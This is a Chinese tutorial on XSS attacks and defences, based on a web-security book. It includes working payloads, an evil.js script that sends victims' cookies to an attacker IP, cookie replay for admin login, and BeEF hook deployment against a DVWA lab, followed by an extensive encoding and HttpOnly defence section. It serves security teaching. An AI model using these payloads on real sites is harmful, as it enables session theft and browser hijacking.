WEB安全基礎篇-跨站腳本攻擊(XSS)

語言: CN / TW / HK

前言

此文章總結學習於《白帽子講WEB安全》

跨站腳本攻擊(XSS)是客户端安全的頭號大敵,OWASP TOP 10多次把xss列在榜首。

一、XSS簡述

XSS攻擊是指黑客通過“HTML注入”篡改網頁,插入惡意的腳本,當用户瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意用户的特殊目的。

1.1 什麼是XSS

假設一個用户輸入的參數直接輸出到頁面上**(本章全程使用phpStudy進行環境部署)**

<?php
$input = $_GET["test"];
echo "<div>".$input."</div>";
?>

訪問此php界面,想test參數提交數據,頁面會展示提交的數據內容

http://192.168.163.131/test.php?test=ceshi

上面我們可以看到和我們猜想的一樣。

如果我們提交的數據改為一段js代碼

http://192.168.163.131/test.php?test=<script>alert(/test!!!/)</script>

我們看到script腳本被執行,我們在看一下源代碼

<div><script>alert(/test!!!/)</script></div>

script腳本被加載到頁面中,這顯然是有問題的。

1.2 XSS分類

XSS根據效果可以分為三類:

反射型XSS

我們上面的例子就是反射型的xss,就是把用户輸入的數據“反射”給瀏覽器,也就是説,用户在訪問惡意鏈接時,才能攻擊成功,反射型xss也叫做非持久性xss。

存儲型XSS

存儲型xss會把用户輸入的數據存儲在服務器端,這種sxx具備很強的穩定性,常見的場景就是,黑客寫下一篇包含惡意js腳本的博客,其他用户瀏覽包含惡意js腳本的博客,會在他們瀏覽器上執行這段惡意代碼。包含惡意js腳本的博客是保存在服務端的,所以這種xss攻擊叫做“存儲型xss"

DOM XSS

這類XSS非按照數據是否保存在服務的來劃分的,DOM XSS與反射性XSS、存儲型XSS的主要區別在於DOM XSS的XSS代碼不需要服務端解析響應的直接參與,觸發XSS的是瀏覽器端的DOM解析。

1.3 DOM XSS漏洞演示

通過修改頁面的DOM節點形成的xss,稱之為DOM XSS

看如下代碼

<script>

function test(){
	var str = document.getElementById("test").value;
	document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>

<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />

點擊wirte會有一個超鏈接,其地址為文本框的內容。

這裏的wirte按鈕的onclick事件調用了test()函數。而在test()函數。而在test()函數中,修改了頁面的DOM節點,通過innerHTML把一段用户數據當作html寫入到頁面中,這就造成了DOM based XSS。

構造如下數據

' onclick=alert(/xss/) //

輸入之後界面代碼局變成了

<a href='' onclick=alert(/xss/) //' >testLink</a>

首先用一個單引號閉合掉href的第一個單引號,然後插入一個onclick事件,最後用註釋符“//”註釋掉單引號。點擊新生連接,腳本將被執行。

實際上,這裏還有另外一種利用方式,除了構造一個新事件外,還可以選擇閉合掉標籤,並插入一個新的HTML標籤。嘗試如下輸入

'><img src=# onerror=alert(/xss1/) /><'

頁面代碼變成了

<a href=''><img src=# onerror=alert(/xss1/) /><'' >testLink</a>

腳本被執行

二、XSS攻擊進階

2.1 初探XSS Payload

XSS攻擊成功後,攻擊者能過對用户當前瀏覽的頁面進行植入惡意腳本,通過惡意腳本,控制用户的瀏覽器。這些以完成各種功能的惡意腳本,被稱為“XSS Payload”

XSS Payload實際上就是javascript(flash或其他富客户端的腳本),所以在任何JavaScript腳本能實現的功能,xxs payload都能做到。

2.1.1 Cookie 劫持

cookie中一般加密保存了當前用户的登錄憑證。攻擊者如果獲取cookie就可以不通過密碼登錄平台

攻擊者加載一個遠程腳本

http://192.168.114.130/admin.php?time=1"><script src=http://192.168.163.128/evil.js></script>

真正xxs payload寫在這個遠程腳本中,避免直接在url中寫入大量的javascript代碼

evil.js文件

var img = document.createElement("img");
img.src = "http://192.168.163.143/log?" +escape(document.cookie);
document.body.appendChild(img);

這段是插入一個看不到的圖片,同時把document.cookie對象當作參數發送到遠程服務器。,實際上http://192.168.163.143/log不用存在,因為這個請求會在遠程服務器上的web日誌中記錄

tail -f /var/log/apache2/access.log

2.1.2 cookie登錄

首先管理員用户登錄cms測試平台

F12在控制枱輸入

document.cookie

登錄test用户,使用burp攔截請求包,將cookie修改為admin用户的cookie

放開攔截,我們發現test變為admin用户

所以xss攻擊,可以完成cookie劫持攻擊。我們一般通過在cookie中增加httponly標識可以防止cookie劫持。

2.2 強大的XSS Payload

ciooke劫持並非所有時候都有效,有的網站可能會在set-cookie時給關鍵cookie植入HttpOnly標識;有些網站可能會把cookie與客户端IP綁定。從而是的xss竊取cookie失去意義。

儘管如此,在xss攻擊成功後,攻擊者仍然有許多方式能控制用户的瀏覽器

1、構造GET與POST請求

2、使用XSS釣魚,模擬一個登錄窗口等。

3、識別用户瀏覽器

我們可以通過xss收集一些用户個人信息,實現精準的瀏覽器內存攻擊,最終實現給電腦注入一個木馬。

navigator.userAgent

OS版本信息:Windows NT 6.1; Win64; x64
瀏覽器版本:Chrome 101.0.4951.64

但是這個useragent信息是可以偽造的,所以通過javascript取出來的這個信息不一定正確。

4、識別用户安裝的軟件

知道用户的瀏覽器、操作系統後,進一步識別用户安裝的軟件。

5、CSS History Hack

其原理市利用style的visited屬性,如果用户曾經訪問某個連接,那麼這個鏈接的顏色會變得與眾不同。

<body>
	<a href=# > 曾經訪問過的 </a>
	<a href="notexist">未曾訪問過的</a>
</body>

6、獲取用户的真實IP地址

2.3 XSS攻擊平台

xss payload如此強大,為了方便,安全研究者將許多功能封裝起來,成為xss攻擊平台。

AttackApi是一個用於XSS攻擊的JS庫,你不用再寫那些繁瑣的涉及到各種標籤各種dom各種系統各種瀏覽器的基礎代碼,直接調用AttackAPI為你封裝好的那些函數即可。

2.3.1 Beefxss工具演示

工具介紹

BeEF-XSS是一款非常強大的web框架攻擊平台,集成了許多payload,可以實現許多功能。

BeEF-XSS生成交互paylaod的hook
服務器端:beef作為服務端管理,管理訪問運行了hook的客户端
客户端:運行與客户端瀏覽器的 Javascript 腳本(hook),也就是beef生成的payload。
beef將運行了hook的web瀏覽器鈎住,進行管理

beef能配合xss,將hook插入到存在xss的注入處;直接誘使客户端訪問含有 hook 的偽造站點,結合中間人攻擊注入 hook 腳本

工具下載

beef只支持Linux平台,Ruby的版本需要在2.5以上,kali中自帶beef

下載: git clone https://github.com/beefproject/beef

安裝配置查看: https://github.com/beefproject/beef/wiki/Installation

beef如果用於實戰的話,需要建立連接的時候要使受害機能訪問到beef,因此需要一個公網ip。

使用測試

kali攻擊者:192.168.163.128

DVWA靶機:192.168.163.131

1、更該beef的默認用户名密碼

vi /etc/beef-xss/config.yaml

beef的默認用户名密碼為beef、beef,如果需要更改beef的用户密碼,則在配置文件裏面更改user和passwd的值,(默認是修改密碼的,不然啟動的時候會報警告)。

啟動beef服務端

beef-xss

beef的服務端地址,用户密碼為默認的beef,密碼為你自己修改之後的密碼

http://127.0.0.1:3000/ui/panel

登錄成功後,這裏會顯示在線和不在線的主機,在線就是現在該主機瀏覽器執行了我們的js腳本代碼,不在線的就是該主機曾經執行過我們的js腳本代碼,但現在關掉了該界面。

插入腳本hook到靶機

我們的hook啟動的時候已經給出:

[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

kali的地址為192.168.163.128,那麼靶機上插入的hook js腳本為:

<script src="http://192.168.163.128:3000/hook.js"></script>

在靶機DVWA,把"DVWA security"等級改成"low",然後打開"XSS stored",把我們的腳本代碼存儲起來。這樣就形成了一個存儲型XSS,當受害者(windows 7)瀏覽該頁面時,就被劫持了。

留言提交後,靶機的瀏覽器就被beef鈎上了:

beef管理

在beef上鈎了的受害機,beef對其可以獲取很多主機、瀏覽器信息

1、Details是瀏覽器信息詳情

2、logs模塊-日誌記錄

3、commands-命令模塊

主要模塊

-Browsers(瀏覽器)
- Exploits(攻擊)
- Host(主機)
- Persistence(持久)
- Network(網絡)

綠色圓圈:表示模塊適合目標瀏覽器,並且執行結果對客户端不可見

紅色圓圈:表示模塊不適用與當前用户,有些紅色模塊也可以正常執行

橙色圓圈:模塊可用,但結果對用户可見(CAM 彈窗申請權限)

灰色圓圈:模塊未在目標瀏覽器上測試過

XSS-Proxy

是一個輕量級的XSS攻擊平台,通過嵌套iframe的方式可以實時地遠程控制被XSS攻擊的瀏覽器

2.4 XSS Worm

一般來説,用户之間發生交互行為的頁面,如果存在存儲型XSS,則比較容易發生xss worn攻擊。比如:用户留言,個人信息等

2.5 XSS構造技巧

2.5.1 利用字符編碼

在使用GB2312編碼的網頁上,script標籤輸出一個變量,提交輸入的是 “;alert(/xss/)” 來實現xss攻擊,使用 " 來閉合前面的符號,但是頁面轉義了雙引號,所以實際代碼如下:

let redirectUrl = "\";alert(/xss/);";

正常情況下這樣是沒發引起xss的,因為變量處於雙引號之內,系統轉義了雙引號。

但在使用GB2312編碼頁面中, “%c1\”兩個字符組合在一起會成為一個unicode字符,於是可以構造輸入

let redirectUrl = "%c1\";alert(/xss)";

提交之後,通過GB2312編碼轉義就會變成

let redirectUrl = "繺";alert(/xss/);

剛好把“\”給覆蓋掉。

"%c1" 這兩個字符組成一個新的unicode字符,"%c1" 把轉義符"\“ 給吃掉了,從而繞過了系統的安全檢查。

2.5.2 繞過長度限制

很多時候,產生xss的地方會有變量的長度限制,這個限制可能是服務器端邏輯造成的,假設下面代碼存在一個xss漏洞

<input type=test value="$var" />

服務器如果對輸入變量”$var“ 做了嚴格的長度限制,那麼攻擊者可能會這樣xss

$var為: "><script>alert(/xss/)</script>

希望達到的輸入效果是

<input type=test value=""><script>alert(/xss/)</script> />

假設長度限制為20個字符,則這段xss會被切割為

$var 輸入為:"><script>alert(/xss

連一個完整的函數都無法寫完,這樣就xss就可能無法成功了。

但是攻擊者可以利用事件來縮短所需要的字符數

$var 輸出為:" onclick=alert(1)//

加上空格符正好20個字符,實際輸出為

<input type=test value="" onclick=alert(1)//" />

當用户點擊文本框後,alert執行

利用事件能夠縮短的字節數是有限的,最好的辦法就是把xss payload寫到別處,在通過簡短的代碼加載這段xss payload

通常的一個藏代碼的地方就是 location.hash。而且跟進http協議,location.hash的內容不會在http包中發送,所以服務端web日誌中不會記錄location.hash裏的內容。

注:hash 屬性是一個可讀可寫的字符串,該字符串是 URL 的錨部分(從 # 號開始的部分)。

$var 輸出為:" onclick="eval(location.hash.substr(1))

總40個字節。輸出後的html是:

<input type=test value="" onclick="eval(location.hash.substr(1))" />

因為location.hash的第一個字符是#,substr(1)是從1開始,不是從0開始,,此時構造出來的url為

http://127.0.0.1/1.html#alert(1)

location,hash本身沒有長度限制,但瀏覽器的地址欄有長度限制,如果地址欄長度不夠用,還可以使用加載遠程js的方法。

2.5.3 註釋符繞過長度限制

比如我們可能控制兩個文本框,第二個文本框允許我們寫入更多字節。我們可以通過註釋符號把兩個文本框之間的HTML代碼全部註釋掉,從而打通兩個標籤。

<input id=1 type="text" value="" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="" />

在第一個input框中輸入

"><!--

在第二個input框中輸入

--><script>alert(/xx/)</script>

最終效果

<input id=1 type="text" value=""><!--" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="--><script>alert(/xx/)</script>" />

中間代碼全部被註釋

<!--" />
xxxxxxxxxxxxxxx
<input id=2 type="text" value="-->

最終效果如下

2.5.4 使用< base>標籤

< base>標籤並不常用,作用是定義界面上的一個所有相對路徑 標籤的hosting地址。

比如,打開一張不存在的圖片

<body>
<img src="/test/1.png">
</body>

實際上這個地址是一張圖片,源地址

http://127.0.0.1/test/1.png

在img標籤前面添加一個base標籤

<body>
<base href="http://127.0.0.1" />
<img src="/test/1.png">
</body>

base標籤可以出現在頁面的任何地方,並作用於位於該標籤之後的所以標籤。

如果攻擊者在頁面插入了base標籤,就可以通過遠程服務器偽造圖片,連接或者腳本。劫持當前頁面中所有使用相對路徑的標籤。比如:

<base href="http://www.a.com" />

<img src="/test/1.png">

<script src="x.js"></script>

<a href="auth.do">auth</a>

所以涉及xss安全方案一定要過濾掉這個非常危險的標籤。

2.5.5 window.name 的妙用

對當前窗口的window.name對象賦值,沒有特殊字符的限制。因為window對象是瀏覽器的窗體,而非document對象,因此很多時候,windwo對象不受同源策略的限制。攻擊者利用這個對象可以實現跨域、跨界面傳遞數據。在某些環境下,這些特性將會變得非常有用。

假設“http://192.168.114.130/1.html”的代碼為

<body>
<script>
window.name = "test"
alert(document.domain+"	"+window.name)
window.location = "http://192.168.163.128/index.html"
</script>
</body>

這段代碼將window.name賦值為test,然後顯示當前域和window.name的值,最後將其頁面跳轉到“http://192.168.163.128/index.html”。

“http://192.168.163.128/index.html”的代碼為

<body>
<script>
alert(document.domain+"	"+window.name)
</script>
</body>

我們訪問“http://192.168.114.130/1.html”,這裏顯示了當前域和windows.name值

點擊確定後,頁面自動跳轉到“http://192.168.163.128/index.html”,但是winsow.name值沒變

這個過程實現了數據跨域傳遞:test這個值從http://192.168.114.130傳遞到了http://192.168.163.128。

使用windo.name可以縮短xss payload的長度。先通過window.name寫好alert(”hello“)之類的語句,再在同一窗口打開XSS站點後,輸入 eval(name);

2.6 反射型XSS利用技巧-迴旋鏢

將要利用的反射型XSS嵌入到一個存儲型XSS中,這個攻擊技巧稱為迴旋鏢。

因為瀏覽器同源策略的原因,xss也受到同源策略的限制,發生在A域的xss很難影響到B域的用户。

迴旋鏢的思路:如果在B域上存在一個反射型”xss_b“,在A域上存在一個存儲型”xss-a",當用户訪問A域的“xss-a"時,同時嵌入B域上的"xss-b",則可以達到在A域的xss攻擊B域用户的目的。

IE瀏覽器中,< iframe>、< img>、< link>等標籤都會攔截第三方cookie的發送。而在firefox中則無這限制(第三方cookie既指保存在本地的cookie,也就是服務器設置了expire(失效日期)時間的cookie。

所以在firefox中只需要在XSS-A處嵌入一個iframe標籤即可

<iframe src="http://www.b.com/?xss......"></iframe>

而在IE瀏覽器中,使用< form>表單,然後提交到B,B再跳轉會A;

2.7 Flash XSS

前面説的都是基於HTML的xss,其實Flash中同樣可能造成xss攻擊。

在Flash中是可以嵌入ActionScript腳本的,常見的Flash xss可以這樣寫

getURL("javascript:alert(document.cookie)")

ActionScript可以發起網絡連接,因此應該禁止用户能夠上傳或者加載自定義Flash文件。

一定要使用Flash,如果是視頻文件,要求轉碼為”flv“文件,flv是靜態文件,不會產生隱患。如果是帶動態腳本的Flash,則可以通過Flash參數進行限制。

限制Flash動態腳本的最重要參數是”allowScriptAcccess“,這個參數定義了Flash能否域HTML頁面通信,他有三個可選值:

always : 對於HTML的通信也就是執行JavaScript不做任何限制。

sameDomain: 只允許來自於本域的Flash於HTML通信,這是默認值。

never: 絕對禁止Flash與頁面通信。

除了allowScriptAccess外,allowNetworking也是非常關鍵,這個參數可以控制Flash與外部網絡通信,他有三個可選值:

all : 允許使用所有網絡通信,默認值

internal : Flash不能與瀏覽器通信如nacigateToURL,但是可以調用其他的API

none : 禁止任何的網絡通信

2.8 JavaScript開放框架

jQuery可能是目前最流行的javaScript框架。jQuery中有一個html()方法,這個方法如果沒有參數,就是一個讀取DOM節點的innerHTML,如果有參數,則會把參數寫入該DOM節點的inner HTML中,這個過程可能產生” DOM Based XSS"

$('div.demo-container').html("<img src=# onerror=alert(1) />");

如上,如果用户能夠控制輸入,必然存在xss。

三、XSS防禦

xss的防禦是複雜的

流行瀏覽器都內置了一些對抗xss的措施,比如Firefox的CSP、Noscript擴展,IE8內置的XSS Filter等。而對於網站來説,也應該有保護用户不被xss攻擊的能力。

3.1 HttpOnly

HttpOnly最早是由微軟提出,並在IE6實現,逐步稱為一個標準,瀏覽器將禁止頁面的javascript訪問帶有HttpOnly屬性的cookie。

其中IE6+、firefo、chrome很多瀏覽器現在都具備了。

嚴格地説HttpOnly並非為了對抗XSS,HttpOnly解決的是XSS後的Cookie劫持攻擊。

前面我們顯示過cookie劫持後。可以登錄被劫持後的xss用户。如果該cookie設置了HttpOnly,這種攻擊就會失敗,因為JavaScript取不到cookie的值。

一個cookie的使用過程如下:

step1: 瀏覽器向服務器發起請求,這時候沒有cookie。

step2 : 服務器返回時發送set-cookie,向客户端瀏覽器寫入cookie。

step3: 在該cookie到前期,瀏覽器訪問該域下的所有界面,都將發送該cookie。

HttpOnly是在set-cookie時標記的

set-cookie:<name>=<value>......[; secure] [; HttpOnly]

服務器可能會設置多個cookie(對應key-value對),而HttpOnly可以選擇性的添加任何一個cookie值上。

某些時候,應用可能需要javaScript訪問某幾項cookie,這種cookie可以不設置HttpOnly標籤,而僅把HttpOnly標記用於認證的關鍵cookie。

HttpOnly的使用非常靈活,如下是一個使用HttpOnly的過程

<?php

header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly", false);

?>

<script>
	alert(document.cookie);
</script>

在這段代碼中,cookie1沒有httponly,cookie2被標記為HttpOnly。我們查看請求包

瀏覽器的確接收了兩個cookie

但是隻有cookie1被JavaScript讀取到

添加了HttpOnly不等於解決了xss問題,xss攻擊還有竊取用户信息,模擬用户身份執行操作等。

3.2 輸入檢查

常見的web漏洞如XSS、SQL注入等,都是要求攻擊者構造一些特殊字符,這些特殊字符可能是正常用户不會用到的,所以就有了檢查的必要。

輸入檢查的代碼一定要在服務器端實現,因為如果在客户端使用JavaScript進行輸入檢查,很容易繞過檢查。正常做法是客户端和服務端實現相同的輸入檢查,客户端可以阻擋大部分錯誤操作的正常用户,可以節約服務器的資源。

輸入檢查一般都是檢查用户輸入的數據中是否包含一些特殊字符,如<,#等,比較智能的,還會匹配xss的特則,如JavaScript,< img>等敏感字符。

這種輸入檢查方式可以稱為“XSS Filter",互聯網上很多開源的“XSS Filter"源碼。

XSS Filter在用户提交數據時獲取變量,並進行xss檢查。但此時用户數據並沒有結合渲染界面的html,因此XSS Filter對語境的理解並不完整。

如下:

<script src="$var"></script>

$vat就是用户可以控制的變量,用户只要提交一個惡意腳本所在的uel地址,就可以試試xss攻擊了。

所以XSS Filter對語境的理解並不完整,很可能改變用户原來的意思。

3.3 輸出檢查

一般來説出來富文本的輸出外,在變量輸出到html頁面時,可以使用編碼或者轉義方式來防禦xss攻擊。

3.3.1 安全的編碼函數

編碼分為很多種,針對HTML代碼的編碼方式為HTMLEncode。

HTMLEndo並非專用名詞,他只是一種函數實現,他的作用是將字符轉換成HTMLEntities,對應的標準是ISO-8859-1。

為了對抗xss,在HTMLEncode中要求至少轉化一下字符:

&	- 	&ampamp
<	-	&amplt
>	-	&ampgt
"	-	&ampquot
'	-	'
/	-	/

在php中,有htmlentities()和htmlspecialchars()兩個函數可以滿足安全要求。

JavaScript的編碼方式可以使用JavaScriptEncode。

JavaScriptEncode需要使用 \ 對特殊字符進行轉義。在對抗xss時候,還要去輸出變量必須在引號內部。

var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"';

如果escapeJavascript()函數只轉義了幾個危險的字符,比如‘ 、“、<、>等,那麼上面兩行代碼輸出後可能會變成

var x = 1;alert(2);
var y = "1;alert(2)";

第一行執行額外的代碼了,第二行是安全的,對於後者,攻擊者即使向逃逸出引號的範圍,也會遇到困難。

var y = "\";alert(1);\/\/";

所以要求使用JavaScriptEncode的變量出輸出一定要去引號內。

還有一個更加嚴格的JavaScriptEncode函數來保證安全-除了數字、字母外的所有字符,都使用十六進制“\xHH"方式進行編碼,如下

var x = 1;alert(2);

變成了

var x = 1\x3balert\x2822\x29;

除了以上函數,還有其他函數,比如:XMLEncode(其實現與HtmlEncode類似)、JSONEncode(與JavaScriptEnde類似)等。

3.3.2 只需要一種編碼嗎

XSS攻擊主要發生在MVC架構中的View層。大部分的XSS漏洞可以在模板系統中解決。

python開放框架Django自帶的模板系統“Django Templates"中,可以使用escape進行HtmlEncode。比如:

{{var|escape}}

這樣寫變量會被HtmlEncode編碼。

在Django1.0、web2py框架中加強,默認所有變量都會被escape。符合“Secure By Default”原則。

因為語境不同,不是全部都使用auto-escape就可以,需要根據情況分情況對待。

注:經典MVC模式中,M是指業務模型,V是指用户界面,C則是控制器,使用MVC的目的是將M和V的實現代碼分離,從而使同一個程序可以使用不同的表現形式。其中,View的定義比較清晰,就是用户界面。

3.4 正確地防禦XSS

XSS本質是一種HTML注入,用户的數據被當作HTML代碼的一部分,從而混淆原來的語義,產生新的語義。

如果網站時MVC架構,那麼XSS就發生在View層,在應用拼接變量到HTML頁面時產生。所以在提交數據處進行輸入檢查的方案,其實並不是在真正發生攻擊的地方做防禦。

我們嘗試將不同場景的xss一一列出,嘗試解決

下面變量$var 表示用户數據。

3.4.1 在HTML標籤中輸出

<div>$var</div>
<a href=#>$var</a>

所有在標籤中輸出的變量,如果未做任何處理,都能導致直接產生XSS。

此場景下,XSS的利用方式一般都是構造一個< script>標籤,或者是任何能夠產生腳本執行的方式。

<div><script>alert(/xss/)</script></div>

<a href=#><img src=# onerror=alert(1) /></a>

防禦方法

對變量使用HtmlEncode。

3.4.2 在HTML屬性中輸出

<div id="abc" name="$var" ></div>

與在HTML標籤中輸出類似,可能的攻擊方法

<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>

防禦方法

對變量使用HtmlEncode。

3.4.3 在script標籤中輸出

在script標籤中輸出時,首先應該確保輸出的變量在引號中

<script>
var x = "$var";
</script>

攻擊者需要先閉合引號才能試試xss攻擊

<script>
var x = "”alert(/xss/);//";
</script>

防禦方法

對變量使用JavascriptEncode。

3.4.4 在事件中輸出

在事件中輸出和在< script>標籤中輸出類似

<a href=# onclick="funcA('$var')">test</a>

可能的攻擊方法

<a href=# onclick="funcA('');alert(/xss/);//')">test</a>

防禦方法

對變量使用JavascriptEncode。

3.4.5 在css中輸出

在CSS和style、style attribute中形成的xss方式非常多樣化。

防禦方法

儘可能禁止用户可控制的變量在< style>標籤、HTML標籤的style屬性以及CSS文件中輸出。如果一定有這種需求,則推薦使用OWASP ESAPI中的encodeForCSS函數,此函數除了字母、數字外的所有字符都被編碼成為十六進制形式“\uHH”。

3.4.6 在地址中輸出

在URL的path(路徑)或者search(參數)中輸出使用urlEncode即可。URLEncode會將字符轉化為%HH形式,比空格就是“%20”等。

<a href="http://www.a.com/?test=$var">test</a>

可能的攻擊方法

<a href="http://www.a.com/?test=" onclick=alert(1)"" >test</a>

經過URLEncode編碼後

<a href="http://www.a.com/?test=%22%20onclick%3Dalert(1)%22" >test</a>

還有一種是url的http://(protocal部分)和IP地址(host部分)不能使用urlEncode轉發的情況

攻擊者偽造協議實施攻擊

<a href="JavaScript:alert(1)">test</a>

還有vbscript、dataURL等偽協議可能導致腳本執行。

防禦方法

這種情況下如果變量是整改url,則先檢查變量是否以http開頭,保障不會出現偽協議的xss攻擊。在對變量進行URLEncode。

3.5 處理富文本

部分網站允許用户提交一些自定義的HTML代碼,稱為富文本。

富文本,應嚴格禁止< iframe>、< script>等標籤,只允許< a>、< img>等比較安全的標籤,在標籤選擇上,應該使用白名單、避免使用黑名單。

富文本在處理CSS時,儘可能的禁止用户自定義css與style。

有些開源的XSS Filter項目,可以實現對富文本的xss檢查。

3.6 防禦DOM Based XSS

DOM Based XSS是一種比較特殊的xss漏洞,前文中提到的幾種防禦方法都不太合適,需要特別對待

我們看一下之前的例子,看一下DOM Based XSS是如何形成的呢

<script>

function test(){
	var str = document.getElementById("test").value;
	document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>

<div id="t" ></div>
<input type="text" id="test" value="" />
<input type="button" id="s" value="write" onclick="test()" />

在上面代碼onclick事件中,執行了test()函數,而函數中最關鍵的一句是

document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";

將HTML代碼寫入DOM節點,最後導致xss的發生

事實上,DOM Based XSS是從JavaScript中輸出數據到HTML頁面裏,而前文提到的方法都是針對“從服務器應用直接輸出到HTML頁面”的XSS漏洞,因此不適用DOM Based XSS。

看一下這個例子

<script>
	var x = "$var";
	document.write("<a href='"+x+"'>test</a>");
</script>

變量$var在script標籤內,可是最後又被document.write輸出到HTML界面中。

假設為了保護$var,直接在script標籤內產生xss,服務器對其進行javascEscape。可是,$var在document.write時,然仍然能夠產生xss

<script>
	var x = "\x20\x27onclick\x3dalert\x281\x29\x3b\x2f\x2f\x27";
	document.write("<a href='"+x+"'>test</a>");
</script>

通過javascEscape編譯,但通過HTML界面渲染後,惡意代碼又被識別出來

其原因,第一次執行JavaScriptEscape後,只保護了

var x = "$var";

但是當document.write輸出數據到html頁面時,瀏覽器渲染了界面,在< script>標籤執行時,已經對變量x進行了界面,在document.write在運行時,其參數變成了

document.write("<a href=' 'onclick=alert(1);//''>test</a>");

XSS因此產生。

那是不是對$var函數用錯了編碼方式,我們使用htmlEncode,將 Html 源文件中不允許出現的字符進行編碼。例如:"<"、">"、"&" 等。

<script>
	var x = "1");alert("2");//""";
	document.write("<a href=# onclick='alert(\""+x+"\")' >test</a>");
</script>

防禦方法

在$var輸出到< script>標籤時,應該執行一次JavaScriptEncode,其次在document.write輸出到HTML頁面時,要分具體情況看待:如果是輸出到事件或者腳本,則再做一次JavaScriptEncode,如果是輸出到HTML內容或者屬性,則要做一次HtmlEncode。也就是説從JavaScript輸出到HTML頁面,也等於一次xss輸出的過程,需要分語境使用不同的編碼。

會觸發DOM Based XSS的地方很多,下面是JavaScript輸出到HTML頁面的必經之路

document.write()
document.writeln()
xxx.innerHTML=
xxx.outerHTML=
innerHTML.replace
document.attachEvent()
window.attachEvent()
document.location.replace()
document.location.assign()
......

除了服務器端直接輸出變量到JavaScript外,還有以下幾個地方可能會成為DOM Based XSS的輸入點。

頁面中所有inputs框
window.location(href、hash等)
window.name
document.referrer
document.cookie
localstorage
XMLHttpRequest返回的數據
......

四、總結

本章從主要是從認識xss、xss payload、xss構造技巧和xss防禦方法詳細講述了三類(反射型、存儲型、DOM型)XSS漏洞。一般來説存儲型的威脅最大,因為可能會跨頁面存在也反射型和DOM則需要攻擊者誘使用户點擊一個包含xss代碼的URL連接。理論上,xss漏洞雖然複雜,但卻是可以徹底解決的。需要針對不同場景使用不同的防禦方法。